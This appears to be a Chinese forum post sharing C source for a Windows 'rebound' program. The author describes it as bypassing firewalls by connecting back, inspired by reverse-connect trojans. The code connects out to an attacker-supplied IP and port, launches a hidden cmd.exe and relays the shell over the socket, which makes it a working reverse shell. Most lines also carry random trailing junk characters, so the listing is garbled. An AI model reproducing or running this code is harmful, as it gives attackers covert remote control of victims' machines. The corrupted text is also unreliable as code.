这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >aw`kr
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/* ============================== 5B:%##Ug5
Rebound port in Windows NT 0[\sz>@
By wind,2006/7 >]/RlW[
===============================*/ w^BF.Nu
#include ML:Zm~A1U
#include $G UCVxs
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#pragma comment(lib,"wsock32.lib")
19#s:nt9
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void OutputShell(); Dt#( fuk#
SOCKET sClient; *P:!lO\|
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /w|!SZB
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void main(int argc,char **argv) HGiO}|q:
{
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WSADATA stWsaData;
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int nRet; o54/r#~fi
SOCKADDR_IN stSaiClient,stSaiServer; Yee%
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if(argc != 3) Q
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{ 0pfgE=9
printf("Useage:\n\rRebound DestIP DestPort\n"); z*oeho
return; Xh5&J9pw
} EOj.Jrs~
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WSAStartup(MAKEWORD(2,2),&stWsaData); .
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (=\))t8J
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stSaiClient.sin_family = AF_INET; GZq~Pl
stSaiClient.sin_port = htons(0); -f&m4J} E
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #TUuk
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )/:j$aq
{ l b9O
printf("Bind Socket Failed!\n"); > r
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return; |XrGf2P9u
} ow<z @^ 3'
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stSaiServer.sin_family = AF_INET; $wm.,Vb
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ##QKXSD
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .EfGL_
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .wpp)M.w;H
{ .Ce0yAl~
printf("Connect Error!"); J/k4CV*li(
return; '=V1'I*
} S%6 V(L|
OutputShell(); F'^y?UP[
} `Q1;Y
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void OutputShell() "KHe6otmi_
{ I9ZJ"29
char szBuff[1024]; s
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SECURITY_ATTRIBUTES stSecurityAttributes; LLV1W0VO=P
OSVERSIONINFO stOsversionInfo; yhsbso,5 a
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <)]j;Tl
STARTUPINFO stStartupInfo; o4qB0h
char *szShell; .-mlV ^
PROCESS_INFORMATION stProcessInformation; Qd"R@+i
unsigned long lBytesRead; ^ZD0rp(l
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9O{b8=\}
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); D/`b~Yl
stSecurityAttributes.lpSecurityDescriptor = 0; ?y|8bw<
stSecurityAttributes.bInheritHandle = TRUE; CkeqK
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +\GuZ5`
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ']^_W0?=
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5M=
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1
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stStartupInfo.wShowWindow = SW_HIDE; R-]i BL
stStartupInfo.hStdInput = hReadPipe; 'iikcf*)C
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; FNHJHuTe
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GetVersionEx(&stOsversionInfo); BnPL>11Y
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switch(stOsversionInfo.dwPlatformId) '(fCi
{ FV>xAU$
case 1: IWNIk9T,u
szShell = "command.com"; V5up/ 6b,1
break; Epm%/ {sHV
default: &B@qb?UE1
szShell = "cmd.exe"; )#0Llx!
break; wpepi8w,
} qYbPF|Y=Z
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,&aD
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send(sClient,szMsg,77,0); f'&
while(1) lFc4| _c g
{ pWN5 >HV
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); L.$+W}
if(lBytesRead) kT,2eel
{ -z?O^:e#x
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _/RP3" #
send(sClient,szBuff,lBytesRead,0); ^SJa/I EZ.
} G}0fk]%\:
else mP+rPDGp
{ [+
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lBytesRead=recv(sClient,szBuff,1024,0); O#@KP"8
if(lBytesRead<=0) break; .9u,54t
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); a4D4*=!G0
} 2\L}Ka|v
} E?^A+)<"
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return; G{{Or
}